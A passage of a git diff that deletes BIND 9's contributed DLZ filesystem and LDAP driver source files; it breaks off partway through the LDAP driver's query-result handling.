-		/*
-		 * handle filesystem's special wildcard "-"
-		 */
-		result = create_path(zone, "-", NULL, (config_data_t *)dbdata,
-				     &path);
-	} else {
-		result = create_path(zone, name, NULL, (config_data_t *)dbdata,
-				     &path);
-	}
-
-	if (result != ISC_R_SUCCESS) {
-		return (ISC_R_NOTFOUND);
-	}
-
-	/* remove path separator at end of path so stat works properly */
-	path[strlen(path) - 1] = '\0';
-
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(1),
-		      "Filesystem driver lookup() Checking for path: '%s'\n",
-		      path);
-
-	if (stat(path, &sb) != 0) {
-		result = ISC_R_NOTFOUND;
-		goto complete_lkup;
-	}
-
-	if ((sb.st_mode & S_IFDIR) == 0) {
-		result = ISC_R_NOTFOUND;
-		goto complete_lkup;
-	}
-
-	/* initialize and open directory */
-	isc_dir_init(&dir);
-	result = isc_dir_open(&dir, path);
-
-	/* if directory open failed, return error. */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Unable to open %s directory to read entries.",
-			      path);
-		result = ISC_R_FAILURE;
-		goto complete_lkup;
-	}
-
-	/* process any records in the directory */
-	result = process_dir(&dir, lookup, (config_data_t *)dbdata, NULL, 0);
-
-	/* close the directory */
-	isc_dir_close(&dir);
-
-complete_lkup:
-
-	isc_mem_free(named_g_mctx, path);
-	return (result);
-}
-
-static isc_result_t
-fs_create(const char *dlzname, unsigned int argc, char *argv[], void *driverarg,
-	  void **dbdata) {
-	config_data_t *cd;
-	char *endp;
-	int len;
-	char pathsep;
-
-	UNUSED(driverarg);
-	UNUSED(dlzname);
-
-	/* we require 5 command line args. */
-	if (argc != 6) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Filesystem driver requires "
-			      "6 command line args.");
-		return (ISC_R_FAILURE);
-	}
-
-	if (strlen(argv[5]) > 1) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Filesystem driver can only "
-			      "accept a single character for separator.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* verify base dir ends with '/' or '\' */
-	len = strlen(argv[1]);
-	if (argv[1][len - 1] != '\\' && argv[1][len - 1] != '/') {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Base dir parameter for filesystem driver "
-			      "should end with %s",
-			      "either '/' or '\\' ");
-		return (ISC_R_FAILURE);
-	}
-
-	/* determine and save path separator for later */
-	if (argv[1][len - 1] == '\\') {
-		pathsep = '\\';
-	} else {
-		pathsep = '/';
-	}
-
-	/* allocate memory for our config data */
-	cd = isc_mem_get(named_g_mctx, sizeof(config_data_t));
-
-	/* zero the memory */
-	memset(cd, 0, sizeof(config_data_t));
-
-	cd->pathsep = pathsep;
-
-	/* get and store our base directory */
-	cd->basedir = isc_mem_strdup(named_g_mctx, argv[1]);
-	cd->basedirsize = strlen(cd->basedir);
-
-	/* get and store our data sub-dir */
-	cd->datadir = isc_mem_strdup(named_g_mctx, argv[2]);
-	cd->datadirsize = strlen(cd->datadir);
-
-	/* get and store our zone xfr sub-dir */
-	cd->xfrdir = isc_mem_strdup(named_g_mctx, argv[3]);
-	cd->xfrdirsize = strlen(cd->xfrdir);
-
-	/* get and store our directory split count */
-	cd->splitcnt = strtol(argv[4], &endp, 10);
-	if (*endp != '\0' || cd->splitcnt < 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Directory split count must be zero (0) "
-			      "or a positive number");
-	}
-
-	/* get and store our separator character */
-	cd->separator = *argv[5];
-
-	/* attach config data to memory context */
-	isc_mem_attach(named_g_mctx, &cd->mctx);
-
-	/* pass back config data */
-	*dbdata = cd;
-
-	/* return success */
-	return (ISC_R_SUCCESS);
-}
-
-static void
-fs_destroy(void *driverarg, void *dbdata) {
-	isc_mem_t *mctx;
-	config_data_t *cd;
-
-	UNUSED(driverarg);
-
-	cd = (config_data_t *)dbdata;
-
-	/*
-	 * free memory for each section of config data that was
-	 * allocated
-	 */
-	if (cd->basedir != NULL) {
-		isc_mem_free(named_g_mctx, cd->basedir);
-	}
-
-	if (cd->datadir != NULL) {
-		isc_mem_free(named_g_mctx, cd->datadir);
-	}
-
-	if (cd->xfrdir != NULL) {
-		isc_mem_free(named_g_mctx, cd->xfrdir);
-	}
-
-	/* hold memory context to use later */
-	mctx = cd->mctx;
-
-	/* free config data memory */
-	isc_mem_putanddetach(&mctx, cd, sizeof(config_data_t));
-}
-
-static dns_sdlzmethods_t dlz_fs_methods = {
-	fs_create,
-	fs_destroy,
-	fs_findzone,
-	fs_lookup,
-	NULL,
-	fs_allnodes,
-	fs_allowzonexfr,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-};
-
-/*%
- * Wrapper around dns_sdlzregister().
- */
-isc_result_t
-dlz_fs_init(void) {
-	isc_result_t result;
-
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Registering DLZ filesystem driver.");
-
-	result = dns_sdlzregister("filesystem", &dlz_fs_methods, NULL,
-				  DNS_SDLZFLAG_RELATIVEOWNER |
-					  DNS_SDLZFLAG_RELATIVERDATA,
-				  named_g_mctx, &dlz_fs);
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "dns_sdlzregister() failed: %s",
-				 isc_result_totext(result));
-		result = ISC_R_UNEXPECTED;
-	}
-
-	return (result);
-}
-
-/*%
- * Wrapper around dns_sdlzunregister().
- */
-void
-dlz_fs_clear(void) {
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Unregistering DLZ filesystem driver.");
-
-	if (dlz_fs != NULL) {
-		dns_sdlzunregister(&dlz_fs);
-	}
-}
-
-#endif /* ifdef DLZ_FILESYSTEM */
diff --git a/contrib/dlz/drivers/dlz_ldap_driver.c b/contrib/dlz/drivers/dlz_ldap_driver.c
deleted file mode 100644
index ead2366805..0000000000
--- a/contrib/dlz/drivers/dlz_ldap_driver.c
+++ /dev/null
@@ -1,1234 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for BIND 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2016  Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- */
-
-#ifdef DLZ_LDAP
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <dns/log.h>
-#include <dns/result.h>
-#include <dns/sdlz.h>
-
-#include <dlz/dlz_ldap_driver.h>
-#include <dlz/sdlz_helper.h>
-#include <named/globals.h>
-
-/*
- * Need older API functions from ldap.h.
- */
-#define LDAP_DEPRECATED 1
-
-#include <ldap.h>
-
-#define SIMPLE "simple"
-#define KRB41  "krb41"
-#define KRB42  "krb42"
-#define V2     "v2"
-#define V3     "v3"
-
-static dns_sdlzimplementation_t *dlz_ldap = NULL;
-
-#define dbc_search_limit 30
-#define ALLNODES	 1
-#define ALLOWXFR	 2
-#define AUTHORITY	 3
-#define FINDZONE	 4
-#define LOOKUP		 5
-
-/*%
- * Structure to hold everything needed by this "instance" of the LDAP
- * driver remember, the driver code is only loaded once, but may have
- * many separate instances.
- */
-
-typedef struct {
-	db_list_t *db; /*%< handle to a list of DB */
-	int method;    /*%< security authentication method */
-	char *user;    /*%< who is authenticating */
-	char *cred;    /*%< password for simple authentication method */
-	int protocol;  /*%< LDAP communication protocol version */
-	char *hosts;   /*%< LDAP server hosts */
-} ldap_instance_t;
-
-/* forward references */
-
-static isc_result_t
-dlz_ldap_findzone(void *driverarg, void *dbdata, const char *name,
-		  dns_clientinfomethods_t *methods,
-		  dns_clientinfo_t *clientinfo);
-
-static void
-dlz_ldap_destroy(void *driverarg, void *dbdata);
-
-/*
- * Private methods
- */
-
-/*% checks that the LDAP URL parameters make sense */
-static isc_result_t
-dlz_ldap_checkURL(char *URL, int attrCnt, const char *msg) {
-	isc_result_t result = ISC_R_SUCCESS;
-	int ldap_result;
-	LDAPURLDesc *ldap_url = NULL;
-
-	if (!ldap_is_ldap_url(URL)) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "%s query is not a valid LDAP URL", msg);
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-	ldap_result = ldap_url_parse(URL, &ldap_url);
-	if (ldap_result != LDAP_SUCCESS || ldap_url == NULL) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "parsing %s query failed", msg);
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-	if (ldap_count_values(ldap_url->lud_attrs) < attrCnt) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "%s query must specify at least "
-			      "%d attributes to return",
-			      msg, attrCnt);
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-	if (ldap_url->lud_host != NULL) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "%s query must not specify a host", msg);
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-	if (ldap_url->lud_port != 389) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "%s query must not specify a port", msg);
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-	if (ldap_url->lud_dn == NULL || strlen(ldap_url->lud_dn) < 1) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "%s query must specify a search base", msg);
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-	if (ldap_url->lud_exts != NULL || ldap_url->lud_crit_exts != 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "%s uses extensions. "
-			      "The driver does not support LDAP extensions.",
-			      msg);
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-cleanup:
-	if (ldap_url != NULL) {
-		ldap_free_urldesc(ldap_url);
-	}
-
-	return (result);
-}
-
-/*% Connects / reconnects to LDAP server */
-static isc_result_t
-dlz_ldap_connect(ldap_instance_t *dbi, dbinstance_t *dbc) {
-	isc_result_t result;
-	int ldap_result;
-
-	/* if we have a connection, get ride of it. */
-	if (dbc->dbconn != NULL) {
-		ldap_unbind_s((LDAP *)dbc->dbconn);
-		dbc->dbconn = NULL;
-	}
-
-	/* now connect / reconnect. */
-
-	/* initialize. */
-	dbc->dbconn = ldap_init(dbi->hosts, LDAP_PORT);
-	if (dbc->dbconn == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	/* set protocol version. */
-	ldap_result = ldap_set_option((LDAP *)dbc->dbconn,
-				      LDAP_OPT_PROTOCOL_VERSION,
-				      &(dbi->protocol));
-	if (ldap_result != LDAP_SUCCESS) {
-		result = ISC_R_NOPERM;
-		goto cleanup;
-	}
-
-	/* "bind" to server.  i.e. send username / pass */
-	ldap_result = ldap_bind_s((LDAP *)dbc->dbconn, dbi->user, dbi->cred,
-				  dbi->method);
-	if (ldap_result != LDAP_SUCCESS) {
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-
-	/* cleanup if failure. */
-	if (dbc->dbconn != NULL) {
-		ldap_unbind_s((LDAP *)dbc->dbconn);
-		dbc->dbconn = NULL;
-	}
-
-	return (result);
-}
-
-/*%
- * Properly cleans up a list of database instances.
- * This function is only used when the driver is compiled for
- * multithreaded operation.
- */
-static void
-ldap_destroy_dblist(db_list_t *dblist) {
-	dbinstance_t *ndbi = NULL;
-	dbinstance_t *dbi = NULL;
-
-	/* get the first DBI in the list */
-	ndbi = ISC_LIST_HEAD(*dblist);
-
-	/* loop through the list */
-	while (ndbi != NULL) {
-		dbi = ndbi;
-		/* get the next DBI in the list */
-		ndbi = ISC_LIST_NEXT(dbi, link);
-		/* release DB connection */
-		if (dbi->dbconn != NULL) {
-			ldap_unbind_s((LDAP *)dbi->dbconn);
-		}
-		/* release all memory that comprised a DBI */
-		destroy_sqldbinstance(dbi);
-	}
-	/* release memory for the list structure */
-	isc_mem_put(named_g_mctx, dblist, sizeof(db_list_t));
-}
-
-/*%
- * Loops through the list of DB instances, attempting to lock
- * on the mutex.  If successful, the DBI is reserved for use
- * and the thread can perform queries against the database.
- * If the lock fails, the next one in the list is tried.
- * looping continues until a lock is obtained, or until
- * the list has been searched dbc_search_limit times.
- * This function is only used when the driver is compiled for
- * multithreaded operation.
- */
-static dbinstance_t *
-ldap_find_avail_conn(db_list_t *dblist) {
-	dbinstance_t *dbi = NULL;
-	dbinstance_t *head;
-	int count = 0;
-
-	/* get top of list */
-	head = dbi = ISC_LIST_HEAD(*dblist);
-
-	/* loop through list */
-	while (count < dbc_search_limit) {
-		/* try to lock on the mutex */
-		if (isc_mutex_trylock(&dbi->instance_lock) == ISC_R_SUCCESS) {
-			return (dbi); /* success, return the DBI for use. */
-		}
-		/* not successful, keep trying */
-		dbi = ISC_LIST_NEXT(dbi, link);
-
-		/* check to see if we have gone to the top of the list. */
-		if (dbi == NULL) {
-			count++;
-			dbi = head;
-		}
-	}
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_INFO,
-		      "LDAP driver unable to find available connection "
-		      "after searching %d times",
-		      count);
-	return (NULL);
-}
-
-static isc_result_t
-ldap_process_results(LDAP *dbc, LDAPMessage *msg, char **attrs, void *ptr,
-		     bool allnodes) {
-	isc_result_t result = ISC_R_SUCCESS;
-	int i = 0;
-	int j;
-	int len;
-	char *attribute = NULL;
-	LDAPMessage *entry;
-	char *endp = NULL;
-	char *host = NULL;
-	char *type = NULL;
-	char *data = NULL;
-	char **vals = NULL;
-	int ttl;
-
-	/* make sure there are at least some attributes to process. */
-	REQUIRE(attrs != NULL || attrs[0] != NULL);
-
-	/* get the first entry to process */
-	entry = ldap_first_entry(dbc, msg);
-	if (entry == NULL) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_INFO,
-			      "LDAP no entries to process.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* loop through all entries returned */
-	while (entry != NULL) {
-		/* reset for this loop */
-		ttl = 0;
-		len = 0;
-		i = 0;
-		attribute = attrs[i];
-
-		/* determine how much space we need for data string */
-		for (j = 0; attrs[j] != NULL; j++) {
-			/* get the list of values for this attribute. */
-			vals = ldap_get_values(dbc, entry, attrs[j]);
-			/* skip empty attributes. */
-			if (vals == NULL || ldap_count_values(vals) < 1) {
-				continue;
-			}
-			/*
-			 * we only use the first value.  this driver
-			 * does not support multi-valued attributes.
-			 */
-			len = len + strlen(vals[0]) + 1;
-			/* free vals for next loop */
-			ldap_value_free(vals);
-		} /* end for (j = 0; attrs[j] != NULL, j++) loop */
-
-		/* allocate memory for data string */
-		data = isc_mem_allocate(named_g_mctx, len + 1);
-
-		/*
-		 * Make sure data is null termed at the beginning so
-		 * we can check if any data was stored to it later.
-		 */
-		data[0] = '\0';
-
-		/* reset j to re-use below */
-		j = 0;
-
-		/* loop through the attributes in the order specified. */
-		while (attribute != NULL) {
-			/* get the list of values for this attribute. */
-			vals = ldap_get_values(dbc, entry, attribute);
-
-			/* skip empty attributes. */
-			if (vals == NULL || vals[0] == NULL) {
-				/* increment attribute pointer */
-				attribute = attrs[++i];
-				/* start loop over */
-				continue;
-			}
-
-			/*
-			 * j initially = 0.  Increment j each time we
-			 * set a field that way next loop will set
-			 * next field.
-			 */
-			switch (j) {
-			case 0:
-				j++;
-				/*
-				 * convert text to int, make sure it
-				 * worked right
-				 */
-				ttl = strtol(vals[0], &endp, 10);
-				if (*endp != '\0' || ttl < 0) {
-					isc_log_write(dns_lctx,
-						      DNS_LOGCATEGORY_DATABASE,
-						      DNS_LOGMODULE_DLZ,
-						      ISC_LOG_ERROR,
-						      "LDAP driver ttl must "
-						      "be a positive number");
-					goto cleanup;
-				}
-				break;
-			case 1:
-				j++;
-				type = isc_mem_strdup(named_g_mctx, vals[0]);
-				break;
-			case 2:
-				j++;
-				if (allnodes) {
-					host = isc_mem_strdup(named_g_mctx,
-							      vals[0]);
-				} else {
-					strcpy(data, vals[0]);
-				}
-				break;
-			case 3:
-				j++;
-				if (allnodes) {
-					strcpy(data, vals[0]);
-				} else {
-					strcat(data, " ");
-					strcat(data, vals[0]);
-				}
-				break;
-			default:
-				strcat(data, " ");
-				strcat(data, vals[0]);
-				break;
-			} /* end switch(j) */
-
-			/* free values */
-			ldap_value_free(vals);
-			vals = NULL;
-
-			/* increment attribute pointer */
-			attribute = attrs[++i];
-		} /* end while (attribute != NULL) */
-
-		if (type == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "LDAP driver unable "
-				      "to retrieve DNS type");
-			result = ISC_R_FAILURE;
-			goto cleanup;
-		}
-
-		if (strlen(data) < 1) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "LDAP driver unable "
-				      "to retrieve DNS data");
-			result = ISC_R_FAILURE;
-			goto cleanup;
-		}
-
-		if (allnodes && host != NULL) {
-			if (strcasecmp(host, "~") == 0) {
-				result = dns_sdlz_putnamedrr(
-					(dns_sdlzallnodes_t *)ptr, "*", type,
-					ttl, data);
-			} else {
-				result = dns_sdlz_putnamedrr(
-					(dns_sdlzallnodes_t *)ptr, host, type,
-					ttl, data);
-			}
-			if (result != ISC_R_SUCCESS) {
-				isc_log_write(dns_lctx,
-					      DNS_LOGCATEGORY_DATABASE,
-					      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-					      "dlz-ldap: putnamedrr failed "
-					      "for \"%s %s %u %s\", %s",
-					      host, type, ttl, data,
-					      isc_result_totext(result));
-			}
-		} else {
-			result = dns_sdlz_putrr((dns_sdlzlookup_t *)ptr, type,
-						ttl, data);
-			if (result != ISC_R_SUCCESS) {
-				isc_log_write(dns_lctx,
-					      DNS_LOGCATEGORY_DATABASE,
-					      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-					      "dlz-ldap: putrr failed "
-					      "for \"%s %u %s\", %s",
-					      type, ttl, data,
-					      isc_result_totext(result));
-			}
-		}
-
-		if (result != ISC_R_SUCCESS) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "LDAP driver failed "
-				      "while sending data to BIND.");
-			goto cleanup;
-		}
-
-		/* free memory for type, data and host for next loop */
-		isc_mem_free(named_g_mctx, type);
-		isc_mem_free(named_g_mctx, data);
-		if (host != NULL) {
-			isc_mem_free(named_g_mctx, host);
-		}
-
-		/* get the next entry to process */
-		entry = ldap_next_entry(dbc, entry);
-	} /* end while (entry != NULL) */
-
-cleanup:
-	/* de-allocate memory */
-	if (vals != NULL) {
-		ldap_value_free(vals);
-	}
-	if (host != NULL) {
-		isc_mem_free(named_g_mctx, host);
-	}
-	if (type != NULL) {
-		isc_mem_free(named_g_mctx, type);
-	}
-	if (data != NULL) {
-		isc_mem_free(named_g_mctx, data);
-	}
-
-	return (result);
-}
-
-/*%
- * This function is the real core of the driver.   Zone, record
- * and client strings are passed in (or NULL is passed if the
- * string is not available).  The type of query we want to run
- * is indicated by the query flag, and the dbdata object is passed
- * passed in to.  dbdata really holds either:
- *		1) a list of database instances (in multithreaded mode) OR
- *		2) a single database instance (in single threaded mode)
- * The function will construct the query and obtain an available
- * database instance (DBI).  It will then run the query and hopefully
- * obtain a result set.
- */
-static isc_result_t
-ldap_get_results(const char *zone, const char *record, const char *client,
-		 unsigned int query, void *dbdata, void *ptr) {
-	isc_result_t result;
-	dbinstance_t *dbi = NULL;
-	char *querystring = NULL;
-	LDAPURLDesc *ldap_url = NULL;
-	int ldap_result = 0;
-	LDAPMessage *ldap_msg = NULL;
-	int i;
-	int entries;
-
-	/* get db instance / connection */
-	/* find an available DBI from the list */
-	dbi = ldap_find_avail_conn(
-		(db_list_t *)((ldap_instance_t *)dbdata)->db);
-
-	/* if DBI is null, can't do anything else */
-	if (dbi == NULL) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* set fields */
-	if (zone != NULL) {
-		dbi->zone = isc_mem_strdup(named_g_mctx, zone);
-	} else {
-		dbi->zone = NULL;
-	}
-	if (record != NULL) {
-		dbi->record = isc_mem_strdup(named_g_mctx, record);
-	} else {
-		dbi->record = NULL;
-	}
-	if (client != NULL) {
-		dbi->client = isc_mem_strdup(named_g_mctx, client);
-	} else {
-		dbi->client = NULL;
-	}
-
-	/* what type of query are we going to run? */
-	switch (query) {
-	case ALLNODES:
-		/*
-		 * if the query was not passed in from the config file
-		 * then we can't run it.  return not_implemented, so
-		 * it's like the code for that operation was never
-		 * built into the driver.... AHHH flexibility!!!
-		 */
-		if (dbi->allnodes_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		} else {
-			querystring = build_querystring(named_g_mctx,
-							dbi->allnodes_q);
-		}
-		break;
-	case ALLOWXFR:
-		/* same as comments as ALLNODES */
-		if (dbi->allowxfr_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		} else {
-			querystring = build_querystring(named_g_mctx,
-							dbi->allowxfr_q);
-		}
-		break;
-	case AUTHORITY:
-		/* same as comments as ALLNODES */
-		if (dbi->authority_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		} else {
-			querystring = build_querystring(named_g_mctx,
-							dbi->authority_q);
-		}
-		break;
-	case FINDZONE:
-		/* this is required.  It's the whole point of DLZ! */
-		if (dbi->findzone_q == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
-				      "No query specified for findzone.  "
-				      "Findzone requires a query");
-			result = ISC_R_FAILURE;
-			goto cleanup;
-		} else {
-			querystring = build_querystring(named_g_mctx,
-							dbi->findzone_q);
-		}
-		break;
-	case LOOKUP:
-		/* this is required.  It's also a major point of DLZ! */
-		if (dbi->lookup_q == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
-				      "No query specified for lookup.  "
-				      "Lookup requires a query");
-			result = ISC_R_FAILURE;
-			goto cleanup;
-		} else {
-			querystring = build_querystring(named_g_mctx,
-							dbi->lookup_q);
-		}
-		break;
-	default:
-		/*
-		 * this should never happen.  If it does, the code is
-		 * screwed up!
-		 */
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "Incorrect query flag passed to "
-				 "ldap_get_results");
-		result = ISC_R_UNEXPECTED;
-		goto cleanup;
-	}
-
-	/* if the querystring is null, Bummer, outta RAM.  UPGRADE TIME!!!   */
-	if (querystring == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
-	/*
-	 * output the full query string during debug so we can see
-	 * what lame error the query has.
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(1), "\nQuery String: %s\n", querystring);
-
-	/* break URL down into it's component parts, if error cleanup */
-	ldap_result = ldap_url_parse(querystring, &ldap_url);
-	if (ldap_result != LDAP_SUCCESS || ldap_url == NULL) {
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-	for (i = 0; i < 3; i++) {
-		/*
-		 * dbi->dbconn may be null if trying to reconnect on a
-		 * previous query failed.
-		 */
-		if (dbi->dbconn == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_INFO,
-				      "LDAP driver attempting to re-connect");
-
-			result = dlz_ldap_connect((ldap_instance_t *)dbdata,
-						  dbi);
-			if (result != ISC_R_SUCCESS) {
-				result = ISC_R_FAILURE;
-				continue;
-			}
-		}
-
-		/* perform ldap search synchronously */
-		ldap_result =
-			ldap_search_s((LDAP *)dbi->dbconn, ldap_url->lud_dn,
-				      ldap_url->lud_scope, ldap_url->lud_filter,
-				      ldap_url->lud_attrs, 0, &ldap_msg);
-
-		/*
-		 * check return code.  No such object is ok, just
-		 * didn't find what we wanted
-		 */
-		switch (ldap_result) {
-		case LDAP_NO_SUCH_OBJECT:
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(1),
-				      "No object found matching "
-				      "query requirements");
-			result = ISC_R_NOTFOUND;
-			goto cleanup;
-			break;
-		case LDAP_SUCCESS: /* on success do nothing */
-			result = ISC_R_SUCCESS;
-			i = 3;
-			break;
-		case LDAP_SERVER_DOWN:
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_INFO,
-				      "LDAP driver attempting to re-connect");
-			result = dlz_ldap_connect((ldap_instance_t *)dbdata,
-						  dbi);
-			if (result != ISC_R_SUCCESS) {
-				result = ISC_R_FAILURE;
-			}
-			break;
-		default:
-			/*
-			 * other errors not ok.  Log error message and
-			 * get out
-			 */
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "LDAP error: %s",
-				      ldap_err2string(ldap_result));
-			result = ISC_R_FAILURE;
-			goto cleanup;
-			break;
-		} /* close switch(ldap_result) */
-	}	  /* end for (int i = 0 i < 3; i++) */
-
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-
-	switch (query) {
-	case ALLNODES:
-		result = ldap_process_results((LDAP *)dbi->dbconn, ldap_msg,
-					      ldap_url->lud_attrs, ptr, true);
-		break;
-	case AUTHORITY:
-	case LOOKUP:
-		result = ldap_process_results((LDAP *)dbi->dbconn, ldap_msg,
-					      ldap_url->lud_attrs, ptr, false);
-		break;
-	case ALLOWXFR:
-		entries = ldap_count_entries((LDAP *)dbi->dbconn, ldap_msg);
-		if (entries == 0) {
-			result = ISC_R_NOPERM;
-		} else if (entries > 0) {
-			result = ISC_R_SUCCESS;
-		} else {
-			result = ISC_R_FAILURE;
-		}
-		break;
-	case FINDZONE:
-		entries = ldap_count_entries((LDAP *)dbi->dbconn, ldap_msg);
-		if (entries == 0) {
